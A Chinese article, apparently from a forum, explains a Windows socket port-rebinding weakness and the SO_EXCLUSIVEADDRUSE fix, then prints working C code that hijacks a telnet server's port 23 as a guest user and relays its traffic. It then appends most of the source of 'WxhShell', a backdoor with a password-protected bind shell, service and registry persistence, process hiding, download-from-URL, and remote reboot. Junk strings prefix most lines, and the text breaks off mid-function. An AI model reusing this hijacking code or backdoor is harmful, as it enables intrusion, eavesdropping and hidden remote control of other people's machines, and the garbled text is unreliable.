在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y2n*T
KXI, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,jmG!qJb ;\N*iN#K saddr.sin_family = AF_INET;
$EF@x}h:A d.A0(*k, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
M-Bw9`#Jw ~JpUO~i/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#C^m>o~R Q
# gHD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X $f%Ss .EO1{2= 这意味着什么?意味着可以进行如下的攻击:
L8ke*O$ q0wVV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T^_9R; D2bUSRrb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.&y1gh!= X[<9+Q-& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R8l9i2 xJCpWU3wM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
xTT>3Fj xFZq6si? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s? Kn,6Y UZ#2*PH2E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>YLm]7v} v&n&i? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g%trGW3{- 3QpTO, #include
tS$Ne7yk e #include
/Ny&;Y #include
+Sfv.6~v #include
e=2D^G#qE DWORD WINAPI ClientThread(LPVOID lpParam);
F*f)Dv$p int main()
]_s]Q_+E {
sXu]k#I^" WORD wVersionRequested;
lS^0*(Y DWORD ret;
DZue.or WSADATA wsaData;
s><co] BOOL val;
AM>:AtY SOCKADDR_IN saddr;
JFZ p^{ SOCKADDR_IN scaddr;
P*>V6SK>b int err;
ioggD SOCKET s;
!_@%/I6 SOCKET sc;
D_Y;N3E/rS int caddsize;
FWg7e3 HANDLE mt;
9\F^\h{ DWORD tid;
ry'(mM wVersionRequested = MAKEWORD( 2, 2 );
Lmb<)YY err = WSAStartup( wVersionRequested, &wsaData );
\IKr+wlN8 if ( err != 0 ) {
]NCOi?Odx printf("error!WSAStartup failed!\n");
F~1R.r_Lu return -1;
yWzTHW`)Mr }
&>o)7H]; saddr.sin_family = AF_INET;
:R)IaJ6) DI_mF#5q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
amRtFrc| W4<}w-AoEp saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*q
RQN+% saddr.sin_port = htons(23);
'g#GUSXfj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{%
P;O ?
{
< -Nj printf("error!socket failed!\n");
l_:%?4MA return -1;
)7^jq| }
&kG<LGXP# val = TRUE;
-Q;
w4@ //SO_REUSEADDR选项就是可以实现端口重绑定的
{-xnBx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U^xFqJY6 {
L$g;^@j printf("error!setsockopt failed!\n");
pfT7 return -1;
(I$hw"%& }
AF@C9s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_PIk,!< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d1-QkW^0y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b}fH$.V@ +"!IVHY if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DsoF4&>g[B {
<Wpz\U ret=GetLastError();
?V0IryF; printf("error!bind failed!\n");
Oe$C5KA>LW return -1;
@:63OLlrG }
|s:!LU&OL\ listen(s,2);
Dg@6o while(1)
LE;c+(CAU {
"jSn` caddsize = sizeof(scaddr);
FB@G.f //接受连接请求
yZ`\.GgC^& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(~jOtUyT if(sc!=INVALID_SOCKET)
WI%,m~ {
_/Hu'9432 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-a3C3!! if(mt==NULL)
N$?q Aek {
YW*ti|u|w printf("Thread Creat Failed!\n");
C
RNO4 break;
vQ;Z 0_ }
=6Z1yw7s }
[lf[J&}X CloseHandle(mt);
%lBFj/B }
}{$@|6)R closesocket(s);
HkrNt/] WSACleanup();
M-n +3E9 return 0;
8g3 6-8 }
0:XmReO+k DWORD WINAPI ClientThread(LPVOID lpParam)
,-):&V:jF {
d$!ibL#o SOCKET ss = (SOCKET)lpParam;
y=t
-/*K SOCKET sc;
8W{R&Z7aL unsigned char buf[4096];
&:rf80`z. SOCKADDR_IN saddr;
EB\\
F long num;
R7#B_^ $ DWORD val;
J&Ah52 DWORD ret;
$3So`8Bm[$ //如果是隐藏端口应用的话,可以在此处加一些判断
^Kn}{m/3Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
u!O)\m- saddr.sin_family = AF_INET;
+:b|I'S saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hGsYu ) saddr.sin_port = htons(23);
},l3N K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}q^CR(h (R {
MD +Q_ printf("error!socket failed!\n");
+7=3[K return -1;
.A E(D7d6 }
Yv>% 5` val = 100;
=dPrG=A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|g~.]2az {
nk[ixVc ret = GetLastError();
Ra/S46$ return -1;
Ta_#Rg*! }
T!8,R{V]4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sPut@4[S {
z;T?2~g! ret = GetLastError();
~MOIrF return -1;
9BP-Iet }
-{HA+ YL H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[l0>pHl@ {
./u3z|q1 printf("error!socket connect failed!\n");
0y?bwxkc closesocket(sc);
uKK+V6}!kj closesocket(ss);
*t63c.S return -1;
WawOap }
Ls( &. while(1)
Hd
:2 {
-Wf 2m6t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)<%GHDWL //如果是嗅探内容的话,可以再此处进行内容分析和记录
T{Av[>M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z hS\|tI num = recv(ss,buf,4096,0);
n;[d{bU if(num>0)
[S4<bh! send(sc,buf,num,0);
_k&vW(O=: else if(num==0)
:AL
nm0d break;
O9bIo]B num = recv(sc,buf,4096,0);
Pwf":U) if(num>0)
L+&$/1h] send(ss,buf,num,0);
zpJQ7hym else if(num==0)
F&^u1RYz break;
alyWp }
s$A|>TOY closesocket(ss);
WOh?/F[@u closesocket(sc);
J%{>I return 0 ;
Y-v6xUc{F }
`2G 0B@ b}WU Hi#hf"V ==========================================================
R,8;GS42 P9BShC5 下边附上一个代码,,WXhSHELL
D/v?nW V!uW\i/ ==========================================================
V3
2F XsEDI?p2 #include "stdafx.h"
? g}G#j "_W[X #include <stdio.h>
`Ps&N^[ #include <string.h>
?|kwYA$4o #include <windows.h>
9J*.'Y #include <winsock2.h>
=XVw{\#9 b #include <winsvc.h>
H>X:#xOA_ #include <urlmon.h>
1
Qln|b8< zt6GJz1q #pragma comment (lib, "Ws2_32.lib")
+xp)la. #pragma comment (lib, "urlmon.lib")
m9 1Gc?c *jM]:GpyoU #define MAX_USER 100 // 最大客户端连接数
G8}k9?26( #define BUF_SOCK 200 // sock buffer
jBb:) #define KEY_BUFF 255 // 输入 buffer
1N,</<" {{qu:(_g #define REBOOT 0 // 重启
pC^d-Ii #define SHUTDOWN 1 // 关机
Zcjh x. 8fxogz #define DEF_PORT 5000 // 监听端口
e w?4; L xP%o #define REG_LEN 16 // 注册表键长度
%g: 6QS| #define SVC_LEN 80 // NT服务名长度
FN\*x:g $Y,y~4I // 从dll定义API
BlnR{Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{u~JR(C: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]lqLC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DHQS7%)f` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]Q$S ei5 }p5_JXBV // wxhshell配置信息
^,}1^?* struct WSCFG {
zcGmru|k int ws_port; // 监听端口
g8kS}7/ char ws_passstr[REG_LEN]; // 口令
zncKd{Q\tP int ws_autoins; // 安装标记, 1=yes 0=no
wDR/Vr"f char ws_regname[REG_LEN]; // 注册表键名
||D PIn] char ws_svcname[REG_LEN]; // 服务名
,+~8R" char ws_svcdisp[SVC_LEN]; // 服务显示名
52ExRG S char ws_svcdesc[SVC_LEN]; // 服务描述信息
0Xb,ne
7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>e^bq/' int ws_downexe; // 下载执行标记, 1=yes 0=no
R"W5R- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|yS % char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]n}aePl}oU }k;wSp[3 };
7cB/G:{
B`|f"+. // default Wxhshell configuration
ZmI0|r}QbY struct WSCFG wscfg={DEF_PORT,
K
@RGvP "xuhuanlingzhe",
DQ<4`wE M 1,
C~Hhi-Xl) "Wxhshell",
qA0PGo "Wxhshell",
# ~Doz7~ "WxhShell Service",
sKCYGt$ "Wrsky Windows CmdShell Service",
<p/zm}?') "Please Input Your Password: ",
DG?g~{Y~b 1,
-U*J5Q "
http://www.wrsky.com/wxhshell.exe",
bFjH*~
P "Wxhshell.exe"
pu~b\&^G };
1oe,>\\ >dx/k)~~-L // 消息定义模块
X!_&%^L' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e>6|# d char *msg_ws_prompt="\n\r? for help\n\r#>";
@Bds0t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4M#i_.`z char *msg_ws_ext="\n\rExit.";
h+=IxF4 char *msg_ws_end="\n\rQuit.";
hjyM xg;Q? char *msg_ws_boot="\n\rReboot...";
7r&lW<:> char *msg_ws_poff="\n\rShutdown...";
{xx}xib3 char *msg_ws_down="\n\rSave to ";
)xq=V q
#mBNe62p char *msg_ws_err="\n\rErr!";
eAmI~oku char *msg_ws_ok="\n\rOK!";
Om^(CAp nrHC;R.nE char ExeFile[MAX_PATH];
`WIZY33V int nUser = 0;
63'm
@oZ HANDLE handles[MAX_USER];
9#TD1B/ int OsIsNt;
M287Z[ DQ(0:r SERVICE_STATUS serviceStatus;
7Xx3s@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
`;Ho<26 ~| b\1SR // 函数声明
<8(=Lv`)q int Install(void);
!(
>U3N int Uninstall(void);
LaO8)lqR int DownloadFile(char *sURL, SOCKET wsh);
?a#Gn2 int Boot(int flag);
Z#.1p'3qm1 void HideProc(void);
,Kl:4 Tv int GetOsVer(void);
"\i H/ int Wxhshell(SOCKET wsl);
r4pX47H void TalkWithClient(void *cs);
58XZ]Mc0 int CmdShell(SOCKET sock);
" i:[|7 int StartFromService(void);
|QS3nX< int StartWxhshell(LPSTR lpCmdLine);
eZEk$W% <o/!M6^: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
b{qN7X~> VOID WINAPI NTServiceHandler( DWORD fdwControl );
"I66@d? ckMG4
3i\j // 数据结构和表定义
D'<L6w` SERVICE_TABLE_ENTRY DispatchTable[] =
U$mDAi$ {
1~t.2eU G {wscfg.ws_svcname, NTServiceMain},
]XU4nNi {NULL, NULL}
~5'7u-; };
y_X jY aX`uF<c9 // 自我安装
E447'aJ int Install(void)
Pr1qX5> = {
_aR{B-E char svExeFile[MAX_PATH];
pJx7S sW HKEY key;
hH 5}%/vF strcpy(svExeFile,ExeFile);
o`QNZN7/} P&sWn?q Ol // 如果是win9x系统,修改注册表设为自启动
XHekz6_ if(!OsIsNt) {
?<${?L> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)i}j\";>L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)O" E#% RegCloseKey(key);
=B9-}]DDO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5]>*0#C
S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H,]8[qT< RegCloseKey(key);
8'u9R~}) return 0;
kh9'W<tE }
u Jqv@GFv }
`0\Z*^> }
y QClq{A else {
/1MmOB "aOs#4N // 如果是NT以上系统,安装为系统服务
0K[]UU=P= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GuO}CQs^W if (schSCManager!=0)
:a6LfPEAX {
K_;vqi^1^& SC_HANDLE schService = CreateService
[K&%l]P7 (
[
N|X schSCManager,
JcWp14~e wscfg.ws_svcname,
5X20/+aT wscfg.ws_svcdisp,
HwHF8#D*l SERVICE_ALL_ACCESS,
O;~e^ <* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'|DW#l\n SERVICE_AUTO_START,
eJ99 W= SERVICE_ERROR_NORMAL,
hE|P|0U,n svExeFile,
.Q%Hi7JMi NULL,
gom!dB0J NULL,
(da`aRVDp NULL,
=SXdO)%2 NULL,
1ZI1+TDH NULL
^FKiVKI: );
S3\NB3@qC& if (schService!=0)
cc|W1,q {
7pm'b,J< CloseServiceHandle(schService);
r }lGcG) CloseServiceHandle(schSCManager);
&]DB-t#\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$DoR@2~y strcat(svExeFile,wscfg.ws_svcname);
{1)A"lQu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w}gmVJ#p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=0pt-FQ RegCloseKey(key);
wAKHD*M) return 0;
f`n4'dG }
/?eVWCR }
g}s$s} CloseServiceHandle(schSCManager);
7v*gwBH }
ZeP=}0TGjn }
=vbG'_[7 mux/\TII return 1;
;cXw;$&D }
Bn7uKa{P 6nZ]y&$G-k // 自我卸载
4yxQq7
m, int Uninstall(void)
0G+Q^]0 {
8@t8P5(vL HKEY key;
`gX|q3K\s D5,]E`jwu if(!OsIsNt) {
d5$D[,`1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t>[W]%op RegDeleteValue(key,wscfg.ws_regname);
riDb!oC RegCloseKey(key);
wM+1/[7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4.!1odKp RegDeleteValue(key,wscfg.ws_regname);
JM3[
yNSN@ RegCloseKey(key);
B?! L~J@p return 0;
X:oOp=y]| }
Wef%f]u }
C|V7ZL>W }
;Z]Wj9iY else {
w"v!+~/9 r{;NGQYs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BS9VwG<Z if (schSCManager!=0)
7%y$^B7{ {
$ln8Cpbca SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
BpZ~6WtBq if (schService!=0)
lL}NiN-)t {
'X;cgAq8( if(DeleteService(schService)!=0) {
)2&3D"V CloseServiceHandle(schService);
tm+*ik=x| CloseServiceHandle(schSCManager);
pey=zR! return 0;
h}
`v0E }
o;$xN3f, CloseServiceHandle(schService);
'JOUx_@z }
;7'O=% CloseServiceHandle(schSCManager);
$Zu?Gd? }
+V4)>< }
#*o0n>O QTy=VLk43 return 1;
qX,q*hr- }
j'D%eQI,V BU:;;iV8 // 从指定url下载文件
iXDG-_K int DownloadFile(char *sURL, SOCKET wsh)
9{u= {
qYK^S4L HRESULT hr;
|Xt.[1 char seps[]= "/";
NiZfaC6V char *token;
RlOy,/-< char *file;
6
9>@0P char myURL[MAX_PATH];
g(@F`W[ char myFILE[MAX_PATH];
^Hx}.?1 e9{ii2M strcpy(myURL,sURL);
$
VT) token=strtok(myURL,seps);
.C'\U[A{ while(token!=NULL)
L/i'6(=" {
z@,pT"rb file=token;
1}d
F,e token=strtok(NULL,seps);
7kLurv }
)ros-dp` LCivZ0?|X GetCurrentDirectory(MAX_PATH,myFILE);
v\:AOY' strcat(myFILE, "\\");
\n{#r`T strcat(myFILE, file);
&<t%u[3 send(wsh,myFILE,strlen(myFILE),0);
}j/\OY _& send(wsh,"...",3,0);
;/Hr ZhOE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"*bLFORkq' if(hr==S_OK)
K(+=V)'Dz return 0;
UD-+BUV else
0z>IYw|UB return 1;
`=(<!nXJx Gdow[x }
),x0G*oebj }b4 56J // 系统电源模块
%3`*)cp@ int Boot(int flag)
Wd'}YbC {
vFUp$[ HANDLE hToken;
k-~}KlP TOKEN_PRIVILEGES tkp;
p/{%%30ke In?rQiD9 if(OsIsNt) {
^T&{ORWz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
WsHDIp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fEBi'Ad tkp.PrivilegeCount = 1;
Qsbyy>o) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hi(b\ABx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;P S4@, if(flag==REBOOT) {
sX"L\v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ntIR #fB
return 0;
/dCsZA }
~cm4e>o else {
$n<1D -0!r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-b!?9T?} return 0;
WO>,=^zPJ }
gt8dFcm|s }
f#l9rV"@g else {
e)}E&D;${ if(flag==REBOOT) {
[A~?V.G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#._JB-,' return 0;
_WS8I> }
-53c0g@X else {
=X'[r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~i1
jh:, return 0;
#ft9ms#N }
Qb
{[xmc }
G8}owszT w[GEm,ZC return 1;
Zq4%O7% }
AWcbbj6Nd lf-.c$.> // win9x进程隐藏模块
6.]~7n void HideProc(void)
H'i\N?VL {
ndFVP;q "M:ui0YP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\`y:#N<c if ( hKernel != NULL )
N8nt2r<h {
UlWmf{1%]? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>,,`7%Rv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ar)EbGId FreeLibrary(hKernel);
|Ua);B ~F }
Jj)J5S / :i{M1z I return;
|OLXb+7X }
S/ oD` XVNJK-B // 获取操作系统版本
6?xF!VIL int GetOsVer(void)
L]l/w {
|dxWO OSVERSIONINFO winfo;
k9eyl) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?$`kT..j,u GetVersionEx(&winfo);
3^P;mQ$p1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
s/ABT.ZO return 1;
&j~9{ C else
`Ij EwKra return 0;
*SJ[~ }
B9,39rG/7+ b"\lF1Nf&o // 客户端句柄模块
fTpG>*{p int Wxhshell(SOCKET wsl)
jUD^]Qs {
sSh." H SOCKET wsh;
i=/hLE8T* struct sockaddr_in client;
^zTe9:hz/\ DWORD myID;
&w9*pJR % Y-8BL while(nUser<MAX_USER)
v#gXXO[P1 {
B.=n U int nSize=sizeof(client);
(1cB Tf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Jt}`oFQ5l if(wsh==INVALID_SOCKET) return 1;
:2KPvp7? 8Dl(zY K; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1BmKwux: if(handles[nUser]==0)
f:46.)Wj< closesocket(wsh);
[4xZy5V else
WZ`i\s1# nUser++;
gaC4u,Zb }
R1SFMI
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n;Mk\*Cg 4"|3pMr return 0;
T}{zh }
y_>DszRN`u $hc=H // 关闭 socket
&bq1n_ void CloseIt(SOCKET wsh)
i\;ZEM{ {
&~;M16XM,e closesocket(wsh);
+-b'+mF nUser--;
Wtaz@+ ExitThread(0);
&_]G0~e }
^X6e\]yj #9s)f R // 客户端请求句柄
-J=6) void TalkWithClient(void *cs)
Q\zaa9P {
%7-(c
;ZuHv {= SOCKET wsh=(SOCKET)cs;
xtCMK1#
x char pwd[SVC_LEN];
J;<dO7 j5 char cmd[KEY_BUFF];
fn/?I\ char chr[1];
s#<fj#S int i,j;
t{B@k[| dSKvs" while (nUser < MAX_USER) {
5s\;7> |X*y-d77W if(wscfg.ws_passstr) {
VMF?qT3Nd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]@21K O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W{Je)N //ZeroMemory(pwd,KEY_BUFF);
&u^]YE{ i=0;
x~uDCbL while(i<SVC_LEN) {
3=U#v< >o13?-S%e // 设置超时
ELV~
ayp5 fd_set FdRead;
wZ0bD&B
struct timeval TimeOut;
YJ6:O{AL1 FD_ZERO(&FdRead);
wEq&O|Vj FD_SET(wsh,&FdRead);
#5h_{q4l TimeOut.tv_sec=8;
$Tv~ *|a TimeOut.tv_usec=0;
,d*1|oUw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A",}Ikh='` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oj.J;[- G:1QXwq\j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Wm" q8-<< pwd
=chr[0]; 8.jf6
if(chr[0]==0xd || chr[0]==0xa) { "6IZf>N@#
pwd=0; 1`|Z8Jpocj
break; 0827z
} h3.CvPYy1
i++; g||EjCsp
} !"<rlB,J
\:@7)(p\;
// 如果是非法用户,关闭 socket i`f!) 1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G6{'|CV
} x>mI$K(6M
UrciCOQf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bx\ o8k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ugXDnM[S%
OcWKK!A
while(1) { \:s%;s51
\z6UWZ
ZeroMemory(cmd,KEY_BUFF); d 4tL
!0? B=yA
// 自动支持客户端 telnet标准 byE0Z vDM
j=0; LH}9&FfjU
while(j<KEY_BUFF) { VJw7defc
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X0+E!~X$zM
cmd[j]=chr[0]; XPf{R619
if(chr[0]==0xa || chr[0]==0xd) { [?:MIl#!
cmd[j]=0; !_3b#Caf
break; Z'9 |
} OY(CB(2N
j++; XXX y*/P
} l d#x'/
{[:C_Up)f
// 下载文件 raOuD3
if(strstr(cmd,"http://")) { N LQ".mM+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f U=P$s
if(DownloadFile(cmd,wsh)) AfhJ6cSIE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaf}AIL.
else f*"T]AX0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M `q|GY
} XM+.Hel
else { i"n_oO
0+1!-Wo
switch(cmd[0]) { Xu~N97\G
VI9rezZ*
// 帮助 Oq% TW|a#
case '?': { :4 z\Q]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3QZm
*.
/"
break; OAiW8BAe
} (y?F8]TfM
// 安装 _kRc"MaB
case 'i': { p{_*<"cfYn
if(Install()) |S).,B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZ8rM4
]
else U!Zj%H1XQ0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kl~/tbf
break; yU/?4/G!
} 9 4H')(
// 卸载 t\QLj&h}E
case 'r': { $X-PjQb1Bb
if(Uninstall()) &R.5t/x_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ORP<?SG55u
else o~y{9Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oDD"h,Z
break; !hfpa_5
} NBasf
n
// 显示 wxhshell 所在路径 /'.gZo
case 'p': { ;CS[Ja>e
char svExeFile[MAX_PATH]; QGOkB
strcpy(svExeFile,"\n\r"); EpR n,[
strcat(svExeFile,ExeFile); QPLWRZu@
send(wsh,svExeFile,strlen(svExeFile),0); hR0a5
break; ud)WH|Z
} \WnTpl>B
// 重启 )YwEl72c
case 'b': { .H M3s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E(6P%(yt8
if(Boot(REBOOT)) *)B \M>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *re?V9
else { Md>C!c
closesocket(wsh); yc9!JJMkH
ExitThread(0); nG5\vj,zB
} 3t.!5L
break; v4E=)?
} 'l\PL1
// 关机 Hci>q`p#
case 'd': { iNl<<0a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %=2sz>M+
if(Boot(SHUTDOWN)) 4<}@hk
Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]smu~t0\
else { ;xw9#.d#D
closesocket(wsh); _~CJitR3
ExitThread(0); z8S]FpM6
} Z/: yYSq
break; eJ<P
} 6rmx{Bt
// 获取shell z<!A;.iD
case 's': { r6Vw!^]8u8
CmdShell(wsh); ;aD~1;q
closesocket(wsh); \VIY[6sn\M
ExitThread(0); >{~xO 6H
break; WdS1v%
} g%]<sRl:-
// 退出 ?P|z,n{
case 'x': { !<j4*av:G
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +?3RC$jyw
CloseIt(wsh); L3Y2HZ
break; C^'r>0
} /<[_V/g[t?
// 离开 ZHeue_~x4
case 'q': { Uv.Xw} q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s/J7z$NEU
closesocket(wsh); $1d{R;b[
WSACleanup(); tAep_GR
exit(1); T>1#SWQ/9
break; @V^.eVM\R
} $U7/w?gc'
} sVP\EF8PY
} ^)Y3V-@t
&Q"vXs6Gt
// 提示信息 Brs}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >m%TUQ#%
} 't8!.k
} k:~UBs\)(
/o6ido
return;
E>*b,^J7g
} n2AoEbd
KgD$P(J:[
// shell模块句柄 H*0g*(
int CmdShell(SOCKET sock) +RpCh!KP
{ zCA8}](C^
STARTUPINFO si; txnH~;(
ZeroMemory(&si,sizeof(si)); t'W6Fmwkx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rttKj{7E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [-Y~g%M
PROCESS_INFORMATION ProcessInfo; 1z2v[S&pk
char cmdline[]="cmd"; IN1n^f$:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #2Q%sE?
return 0; %j1 7QD8
} |SMigSu r`
#>_fYjT
// 自身启动模式 }2BNy9q@
int StartFromService(void) d@*dbECG
{ +N,Fq/x
typedef struct RDQ]_wsyKG
{ zn= pm#L
DWORD ExitStatus; t W
DWORD PebBaseAddress; s2N'Ip
DWORD AffinityMask; q2*)e/}H
